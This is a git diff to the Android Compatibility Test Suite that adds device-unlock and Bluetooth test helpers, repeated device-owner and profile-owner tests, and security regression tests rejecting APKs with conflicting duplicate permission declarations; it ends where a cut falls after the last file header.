diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
index 1b600ed..01b3973 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
@@ -59,6 +59,7 @@
import com.android.bedstead.harrier.annotations.EnsureTestAppHasAppOp;
import com.android.bedstead.harrier.annotations.EnsureTestAppHasPermission;
import com.android.bedstead.harrier.annotations.EnsureTestAppInstalled;
+import com.android.bedstead.harrier.annotations.EnsureUnlocked;
import com.android.bedstead.harrier.annotations.FailureMode;
import com.android.bedstead.harrier.annotations.OtherUser;
import com.android.bedstead.harrier.annotations.RequireDoesNotHaveFeature;
@@ -779,6 +780,11 @@
continue;
}
+ if (annotation instanceof EnsureUnlocked) {
+ ensureUnlocked();
+ continue;
+ }
+
if (annotation instanceof EnsurePasswordSet) {
EnsurePasswordSet ensurePasswordSetAnnotation =
(EnsurePasswordSet) annotation;
@@ -2416,6 +2422,10 @@
TestApis.device().wakeUp();
}
+ private void ensureUnlocked() {
+ TestApis.device().unlock();
+ }
+
private void ensurePasswordSet(UserType forUser, String password) {
UserReference user = resolveUserTypeToUser(forUser);
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/bluetooth/Bluetooth.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/bluetooth/Bluetooth.java
index a92c26e..30a642e 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/bluetooth/Bluetooth.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/bluetooth/Bluetooth.java
@@ -20,6 +20,7 @@
import static com.android.bedstead.nene.permissions.CommonPermissions.BLUETOOTH;
import static com.android.bedstead.nene.permissions.CommonPermissions.BLUETOOTH_CONNECT;
+import static com.android.bedstead.nene.permissions.CommonPermissions.BLUETOOTH_PRIVILEGED;
import static com.android.bedstead.nene.permissions.CommonPermissions.INTERACT_ACROSS_USERS_FULL;
import static com.android.bedstead.nene.permissions.CommonPermissions.NETWORK_SETTINGS;
import static com.android.bedstead.nene.utils.Versions.T;
@@ -65,7 +66,8 @@
private void enable() {
try (PermissionContext p =
TestApis.permissions()
- .withPermission(BLUETOOTH_CONNECT, INTERACT_ACROSS_USERS_FULL)
+ .withPermission(BLUETOOTH_CONNECT, INTERACT_ACROSS_USERS_FULL,
+ BLUETOOTH_PRIVILEGED)
.withPermissionOnVersionAtLeast(T, NETWORK_SETTINGS)) {
BlockingBroadcastReceiver r = BlockingBroadcastReceiver.create(
sContext,
@@ -73,12 +75,13 @@
this::isStateEnabled).register();
try {
- assertThat(sBluetoothAdapter.enable()).isTrue();
+ boolean returnValue = sBluetoothAdapter.enable();
r.awaitForBroadcast();
Poll.forValue("Bluetooth Enabled", this::isEnabled)
.toBeEqualTo(true)
- .errorOnFail()
+ .errorOnFail("Waited for bluetooth to be enabled."
+ + " .enable() returned " + returnValue)
.await();
} finally {
r.unregisterQuietly();
@@ -90,7 +93,8 @@
private void disable() {
try (PermissionContext p =
TestApis.permissions()
- .withPermission(BLUETOOTH_CONNECT, INTERACT_ACROSS_USERS_FULL)
+ .withPermission(BLUETOOTH_CONNECT, INTERACT_ACROSS_USERS_FULL,
+ BLUETOOTH_PRIVILEGED)
.withPermissionOnVersionAtLeast(T, NETWORK_SETTINGS)) {
BlockingBroadcastReceiver r = BlockingBroadcastReceiver.create(
sContext,
@@ -98,12 +102,13 @@
this::isStateDisabled).register();
try {
- assertThat(sBluetoothAdapter.disable()).isTrue();
+ boolean returnValue = sBluetoothAdapter.disable();
r.awaitForBroadcast();
Poll.forValue("Bluetooth Enabled", this::isEnabled)
.toBeEqualTo(false)
- .errorOnFail()
+ .errorOnFail("Waited for bluetooth to be disabled."
+ + " .disable() returned " + returnValue)
.await();
} finally {
r.unregisterQuietly();
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/device/Device.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/device/Device.java
index 4283eb3..ec58a31 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/device/Device.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/device/Device.java
@@ -23,7 +23,6 @@
import com.android.bedstead.nene.TestApis;
import com.android.bedstead.nene.annotations.Experimental;
-import com.android.bedstead.nene.exceptions.AdbException;
import com.android.bedstead.nene.exceptions.NeneException;
import com.android.bedstead.nene.utils.Poll;
import com.android.bedstead.nene.utils.ShellCommand;
@@ -42,15 +41,11 @@
* Turn the screen on.
*/
public void wakeUp() {
- try {
- ShellCommand.builder("input keyevent")
- .addOperand("KEYCODE_WAKEUP")
- .allowEmptyOutput(true)
- .validate(String::isEmpty)
- .execute();
- } catch (AdbException e) {
- throw new NeneException("Error waking up device", e);
- }
+ ShellCommand.builder("input keyevent")
+ .addOperand("KEYCODE_WAKEUP")
+ .allowEmptyOutput(true)
+ .validate(String::isEmpty)
+ .executeOrThrowNeneException("Error waking up device");
Poll.forValue("isScreenOn", this::isScreenOn)
.toBeEqualTo(true)
@@ -59,6 +54,16 @@
}
/**
+ * Dismiss the keyguard.
+ */
+ public void unlock() {
+ ShellCommand.builder("wm dismiss-keyguard")
+ .allowEmptyOutput(true)
+ .validate(String::isEmpty)
+ .executeOrThrowNeneException("Error dismissing keyguard");
+ }
+
+ /**
* Set the screen on setting.
*
* <p>When enabled, the device will never sleep.
@@ -72,10 +77,7 @@
.allowEmptyOutput(true)
.validate(String::isEmpty)
.executeOrThrowNeneException("Error setting stayOn");
- ShellCommand.builder("wm dismiss-keyguard")
- .allowEmptyOutput(true)
- .validate(String::isEmpty)
- .executeOrThrowNeneException("Error dismissing keyguard");
+ unlock();
}
/**
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Flake.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Flake.java
new file mode 100644
index 0000000..5fe86e9
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Flake.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.utils;
+
+/**
+ * Utilities for dealing with flakes.
+ *
+ * <p>Calls to this code should be removed and the core cause of the flake fixed. Using this class
+ * is not a permanent solution to any flakes.
+ */
+public final class Flake {
+ private Flake() {
+
+ }
+
+ /**
+ * Repeat {@code r} some number of times.
+ */
+ public static void repeat(Runnable r, int times) {
+ for (int i = 0; i < times; i++) {
+ r.run();
+ }
+ }
+
+ /**
+ * Repeat {@code r} 10 times.
+ */
+ public static void repeat(Runnable r) {
+ repeat(r, 10);
+ }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Versions.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Versions.java
index 8444cb2..bd37257 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Versions.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Versions.java
@@ -34,13 +34,14 @@
private static final String TAG = "Versions";
- public static final int T = CUR_DEVELOPMENT;
+ public static final int T = Build.VERSION_CODES.TIRAMISU;
+ public static final int U = Build.VERSION_CODES.CUR_DEVELOPMENT;
/** Any version. */
public static final int ANY = -1;
private static final ImmutableSet<String> DEVELOPMENT_CODENAMES =
- ImmutableSet.of("Sv2", "T", "Tiramisu");
+ ImmutableSet.of("UpsideDownCake");
private Versions() {
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/DeviceOwnerTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/DeviceOwnerTest.java
index f19cc7a..067a743 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/DeviceOwnerTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/DeviceOwnerTest.java
@@ -94,4 +94,16 @@
assertThat(TestApis.devicePolicy().getDeviceOwner()).isNull();
}
}
+
+ @Test
+ @EnsureHasNoDpc
+ public void setAndRemoveDeviceOwnerRepeatedly_doesNotThrowError() {
+ try (TestAppInstance dpc = sNonTestOnlyDpc.install()) {
+ for (int i = 0; i < 100; i++) {
+ DeviceOwner deviceOwner = TestApis.devicePolicy()
+ .setDeviceOwner(NON_TEST_ONLY_DPC_COMPONENT_NAME);
+ deviceOwner.remove();
+ }
+ }
+ }
}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/ProfileOwnerTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/ProfileOwnerTest.java
index f2f460c..b69e2ee 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/ProfileOwnerTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/ProfileOwnerTest.java
@@ -27,8 +27,10 @@
import com.android.bedstead.harrier.BedsteadJUnit4;
import com.android.bedstead.harrier.DeviceState;
import com.android.bedstead.harrier.annotations.EnsureHasPermission;
+import com.android.bedstead.harrier.annotations.EnsureHasNoWorkProfile;
import com.android.bedstead.harrier.annotations.EnsureHasSecondaryUser;
import com.android.bedstead.harrier.annotations.RequireRunNotOnSecondaryUser;
+import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
import com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile;
import com.android.bedstead.harrier.annotations.RequireSdkVersion;
import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDpc;
@@ -113,6 +115,22 @@
}
@Test
+ @EnsureHasNoDpc
+ @EnsureHasNoWorkProfile
+ @RequireRunOnPrimaryUser
+ public void setAndRemoveProfileOwnerRepeatedly_doesNotThrowError() {
+ try (UserReference profile = TestApis.users().createUser().createAndStart()) {
+ try (TestAppInstance dpc = sNonTestOnlyDpc.install()) {
+ for (int i = 0; i < 100; i++) {
+ ProfileOwner profileOwner = TestApis.devicePolicy().setProfileOwner(
+ TestApis.users().instrumented(), NON_TEST_ONLY_DPC_COMPONENT_NAME);
+ profileOwner.remove();
+ }
+ }
+ }
+ }
+
+ @Test
@EnsureHasSecondaryUser
@RequireRunNotOnSecondaryUser
public void remove_onOtherUser_removesProfileOwner() {
diff --git a/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java b/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java
index 3d8e256..8f0778d 100644
--- a/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java
+++ b/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java
@@ -67,7 +67,8 @@
@Override
public Activity instantiateActivity(ClassLoader classLoader, String className, Intent intent)
throws InstantiationException, IllegalAccessException, ClassNotFoundException {
-
+ Log.e(LOG_TAG, "Initiating activity for class "
+ + className + " and intent " + intent);
try {
return super.instantiateActivity(classLoader, className, intent);
} catch (ClassNotFoundException e) {
@@ -85,6 +86,8 @@
public BroadcastReceiver instantiateReceiver(ClassLoader classLoader, String className,
Intent intent)
throws InstantiationException, IllegalAccessException, ClassNotFoundException {
+ Log.e(LOG_TAG, "Initiating receiver for class "
+ + className + " and intent " + intent);
try {
return super.instantiateReceiver(classLoader, className, intent);
} catch (ClassNotFoundException e) {
@@ -121,6 +124,8 @@
@Override
public Service instantiateService(ClassLoader classLoader, String className, Intent intent)
throws InstantiationException, IllegalAccessException, ClassNotFoundException {
+ Log.e(LOG_TAG, "Initiating service for class "
+ + className + " and intent " + intent);
try {
return super.instantiateService(classLoader, className, intent);
} catch (ClassNotFoundException e) {
diff --git a/hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/AppCloningHostTest.java b/hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/AppCloningHostTest.java
index e8da4b0..c3dfb95 100644
--- a/hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/AppCloningHostTest.java
+++ b/hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/AppCloningHostTest.java
@@ -119,6 +119,8 @@
*/
@Test
public void testRemoveClonedProfileMediaProviderCleanup() throws Exception {
+ assumeTrue(isAtLeastT());
+
String cloneProfileImage = NONCE + "cloneProfileImage.png";
// Inserting blank image in clone profile
@@ -178,6 +180,8 @@
@Test
public void testCrossUserMediaAccess() throws Exception {
+ assumeTrue(isAtLeastT());
+
// Install the app in both the user spaces
installPackage(APP_A, "--user all");
diff --git a/hostsidetests/appcloning/test-apps/AppCloningTestApp/src/com/android/cts/appcloningtestapp/AppCloningDeviceTest.java b/hostsidetests/appcloning/test-apps/AppCloningTestApp/src/com/android/cts/appcloningtestapp/AppCloningDeviceTest.java
index 37c7b2d..c0b098a 100644
--- a/hostsidetests/appcloning/test-apps/AppCloningTestApp/src/com/android/cts/appcloningtestapp/AppCloningDeviceTest.java
+++ b/hostsidetests/appcloning/test-apps/AppCloningTestApp/src/com/android/cts/appcloningtestapp/AppCloningDeviceTest.java
@@ -178,6 +178,8 @@
// remove volumes that belong to owner profile
volumeListIncludingShared.removeAll(volumeList);
+ assertThat(volumeListIncludingShared.size()).isGreaterThan(0);
+
// remaining volumes should belong to the clone user.
for (StorageVolume vol : volumeListIncludingShared) {
assertThat(vol.getOwner().getIdentifier()).isEqualTo(cloneUserId);
diff --git a/hostsidetests/appsearch/src/android/appsearch/cts/ContactsIndexerMultiUserTest.java b/hostsidetests/appsearch/src/android/appsearch/cts/ContactsIndexerMultiUserTest.java
index 6ebd2b1..7fba4c9 100644
--- a/hostsidetests/appsearch/src/android/appsearch/cts/ContactsIndexerMultiUserTest.java
+++ b/hostsidetests/appsearch/src/android/appsearch/cts/ContactsIndexerMultiUserTest.java
@@ -40,7 +40,6 @@
public class ContactsIndexerMultiUserTest extends AppSearchHostTestBase {
private static int sSecondaryUserId;
- private static int sTertiaryUserId;
@BeforeClassWithInfo
public static void setUpClass(TestInformation testInfo) throws Exception {
@@ -49,8 +48,6 @@
sSecondaryUserId = testInfo.getDevice().createUser("Test User #1");
assertThat(testInfo.getDevice().startUser(sSecondaryUserId)).isTrue();
- sTertiaryUserId = testInfo.getDevice().createUser("Test User #2");
- assertThat(testInfo.getDevice().startUser(sTertiaryUserId)).isTrue();
}
@Before
@@ -58,11 +55,7 @@
if (!getDevice().isUserRunning(sSecondaryUserId)) {
getDevice().startUser(sSecondaryUserId, /*waitFlag=*/ true);
}
- if (!getDevice().isUserRunning(sTertiaryUserId)) {
- getDevice().startUser(sTertiaryUserId, /*waitFlag=*/ true);
- }
installPackageAsUser(TARGET_APK_A, /*grantPermission=*/ true, sSecondaryUserId);
- installPackageAsUser(TARGET_APK_A, /*grantPermission=*/ true, sTertiaryUserId);
}
@AfterClassWithInfo
@@ -70,9 +63,6 @@
if (sSecondaryUserId > 0) {
testInfo.getDevice().removeUser(sSecondaryUserId);
}
- if (sTertiaryUserId > 0) {
- testInfo.getDevice().removeUser(sTertiaryUserId);
- }
}
@Test
@@ -80,8 +70,5 @@
runContactsIndexerDeviceTestAsUserInPkgA("testFullUpdateJobIsScheduled",
sSecondaryUserId,
Collections.singletonMap(USER_ID_KEY, String.valueOf(sSecondaryUserId)));
- runContactsIndexerDeviceTestAsUserInPkgA("testFullUpdateJobIsScheduled",
- sTertiaryUserId,
- Collections.singletonMap(USER_ID_KEY, String.valueOf(sTertiaryUserId)));
}
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
index a0137dc..005ada5 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
@@ -96,6 +96,15 @@
private static final String DUPLICATE_PERMISSION_SAME_PROTECTION_LEVEL_PKG =
"com.android.cts.duplicatepermission.sameprotectionlevel";
+ private static final String DUPLICATE_PERMISSION_DIFFERENT_PERMISSION_GROUP_APK =
+ "CtsMalformedDuplicatePermission_DifferentPermissionGroup.apk";
+ private static final String DUPLICATE_PERMISSION_DIFFERENT_PERMISSION_GROUP_PKG =
+ "com.android.cts.duplicatepermission.differentpermissiongroup";
+ private static final String DUPLICATE_PERMISSION_SAME_PERMISSION_GROUP_APK =
+ "CtsDuplicatePermission_SamePermissionGroup.apk";
+ private static final String DUPLICATE_PERMISSION_SAME_PERMISSION_GROUP_PKG =
+ "com.android.cts.duplicatepermission.samepermissiongroup";
+
private static final String LOG_TAG = "AppSecurityTests";
@Before
@@ -347,11 +356,13 @@
public void testAdbInstallFile_full() throws Exception {
testAdbInstallFile(false);
}
+
@Test
@AppModeInstant(reason = "'instant' portion of the hostside test")
public void testAdbInstallFile_instant() throws Exception {
testAdbInstallFile(true);
}
+
private void testAdbInstallFile(boolean instant) throws Exception {
String output = getDevice().executeShellCommand(
"cmd package install"
@@ -399,4 +410,34 @@
getDevice().uninstallPackage(DUPLICATE_PERMISSION_SAME_PROTECTION_LEVEL_PKG);
}
}
+
+ /**
+ * Tests that a single APK declaring duplicate permissions with different permission group
+ * cannot be installed.
+ */
+ @Test
+ public void testInstallDuplicatePermission_differentPermissionGroup_fail() throws Exception {
+ try {
+ new InstallMultiple(false /* instant */)
+ .addFile(DUPLICATE_PERMISSION_DIFFERENT_PERMISSION_GROUP_APK)
+ .runExpectingFailure("INSTALL_PARSE_FAILED_MANIFEST_MALFORMED");
+ } finally {
+ getDevice().uninstallPackage(DUPLICATE_PERMISSION_DIFFERENT_PERMISSION_GROUP_PKG);
+ }
+ }
+
+ /**
+ * Tests that a single APK declaring duplicate permissions with the same permission group
+ * can be installed.
+ */
+ @Test
+ public void testInstallDuplicatePermission_samePermissionGroup_success() throws Exception {
+ try {
+ new InstallMultiple(false /* instant */)
+ .addFile(DUPLICATE_PERMISSION_SAME_PERMISSION_GROUP_APK)
+ .run(true /* expectingSuccess */);
+ } finally {
+ getDevice().uninstallPackage(DUPLICATE_PERMISSION_SAME_PERMISSION_GROUP_PKG);
+ }
+ }
}
diff --git a/hostsidetests/appsecurity/test-apps/DuplicatePermissionSameGroup/Android.bp b/hostsidetests/appsecurity/test-apps/DuplicatePermissionSameGroup/Android.bp
new file mode 100644
index 0000000..037aab2
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/DuplicatePermissionSameGroup/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CtsDuplicatePermission_SamePermissionGroup",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ sdk_version: "current",
+ static_libs: ["androidx.test.rules"],
+ // Use the same cert as the app that also defined the permission
+ certificate: ":cts-testkey1",
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "sts",
+ "general-tests",
+ ],
+ min_sdk_version: "29",
+ target_sdk_version: "29",
+}
diff --git a/hostsidetests/appsecurity/test-apps/DuplicatePermissionSameGroup/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/DuplicatePermissionSameGroup/AndroidManifest.xml
new file mode 100644
index 0000000..606be49
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/DuplicatePermissionSameGroup/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2022 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.duplicatepermission.samepermissiongroup">
+
+ <permission android:name="com.android.cts.duplicatepermission.samepermissiongroup.PERMISSION1"
+ android:permissionGroup = "android.permission-group.PHONE" />
+ <permission android:name="com.android.cts.duplicatepermission.samepermissiongroup.PERMISSION1"
+ android:permissionGroup = "android.permission-group.PHONE" />
+
+ <permission android:name="com.android.cts.duplicatepermission.samepermissiongroup.PERMISSION2" />
+ <permission android:name="com.android.cts.duplicatepermission.samepermissiongroup.PERMISSION2" />
+
+ <application />
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java b/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java
index 8deeb76..12fbb3c 100644
--- a/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java
+++ b/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java
@@ -73,6 +73,7 @@
EXCEPTION_PATTERNS.add(":: 1002"); // used by remote control
EXCEPTION_PATTERNS.add(":: 1020"); // used by remote control
EXCEPTION_PATTERNS.add("0.0.0.0:7275"); // used by supl
+ EXCEPTION_PATTERNS.add("0.0.0.0:68"); // DHCP server for Tethering
// b/150186547 ports
EXCEPTION_PATTERNS.add("192.168.17.10:48881");
EXCEPTION_PATTERNS.add("192.168.17.10:48896");
diff --git a/tests/tests/cronet/Android.bp b/hostsidetests/appsecurity/test-apps/MalformedDuplicatePermission/Android.bp
similarity index 61%
copy from tests/tests/cronet/Android.bp
copy to hostsidetests/appsecurity/test-apps/MalformedDuplicatePermission/Android.bp
index fc8ec7f..1212186 100644
--- a/tests/tests/cronet/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/MalformedDuplicatePermission/Android.bp
@@ -1,4 +1,4 @@
-// Copyright (C) 2019 The Android Open Source Project
+// Copyright (C) 2018 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -12,29 +12,17 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-
-// TODO: Move this target to cts/tests/tests/net/cronet
package {
default_applicable_licenses: ["Android-Apache-2.0"],
}
-android_test {
- name: "CtsCronetTestCases",
- defaults: ["cts_defaults"],
-
- // Include both the 32 and 64 bit versions
- compile_multilib: "both",
-
- static_libs: [
- "CronetApiCommonTests",
- "ctstestrunner-axt",
- ],
-
- // Tag this module as a cts test artifact
+android_test_import {
+ name: "CtsMalformedDuplicatePermission_DifferentPermissionGroup",
+ apk: "apk/b213323615_DifferentPermissionGroup.apk",
+ presigned: true,
test_suites: [
"cts",
+ "sts",
"general-tests",
- "mts-cronet",
],
-
}
diff --git a/hostsidetests/appsecurity/test-apps/MalformedDuplicatePermission/apk/b213323615_DifferentPermissionGroup.apk b/hostsidetests/appsecurity/test-apps/MalformedDuplicatePermission/apk/b213323615_DifferentPermissionGroup.apk
new file mode 100644
index 0000000..21167ed
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MalformedDuplicatePermission/apk/b213323615_DifferentPermissionGroup.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade.apk
index 5c8aaa5..f1730f6 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade.apk
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA.apk
index 3cb1a4b..cdb279a 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA.apk
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade.apk
index 3bfa2bb..42135bc 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade.apk
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA.apk
index 0c69d99..f9e6f96 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA.apk
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/AndroidManifestA.xml b/hostsidetests/appsecurity/test-apps/StorageApp/AndroidManifestA.xml
index 8837024..f61e96a 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/AndroidManifestA.xml
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/AndroidManifestA.xml
@@ -32,5 +32,6 @@
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/AndroidManifestB.xml b/hostsidetests/appsecurity/test-apps/StorageApp/AndroidManifestB.xml
index d934c77..a76665d 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/AndroidManifestB.xml
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/AndroidManifestB.xml
@@ -31,5 +31,6 @@
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
index 9b2532d..0e8186d 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
@@ -134,7 +134,7 @@
device.findObject(new UiSelector().textContains("Clear")).click();
device.waitForIdle();
- device.findObject(new UiSelector().text("OK")).click();
+ device.findObject(new UiSelector().text("DELETE")).click();
}
private void clearSpaceWatch(UiDevice device) throws UiObjectNotFoundException {
diff --git a/hostsidetests/car/nonrecoverable/src/android/car/cts/CarServiceHelperServiceTest.java b/hostsidetests/car/nonrecoverable/src/android/car/cts/CarServiceHelperServiceTest.java
index 6e31857..7fdc7e6 100644
--- a/hostsidetests/car/nonrecoverable/src/android/car/cts/CarServiceHelperServiceTest.java
+++ b/hostsidetests/car/nonrecoverable/src/android/car/cts/CarServiceHelperServiceTest.java
@@ -52,7 +52,10 @@
restartSystemServer();
// Makes sure new user was created and switched to
- waitUntilAtLeastNPersistentUsersAreAvailable(2);
+ waitUntilAtLeastNPersistentUsersAreAvailable(SYSTEM_RESTART_TIMEOUT_SEC, 2);
+
+ waitUntilCurrentUserIsNotSystem(SYSTEM_RESTART_TIMEOUT_SEC);
+
assertWithMessage("Current user id").that(getCurrentUserId()).isNotEqualTo(SYSTEM_USER_ID);
}
diff --git a/hostsidetests/car/util/src/android/car/cts/CarHostJUnit4TestCase.java b/hostsidetests/car/util/src/android/car/cts/CarHostJUnit4TestCase.java
index c763d99..3bd79e5 100644
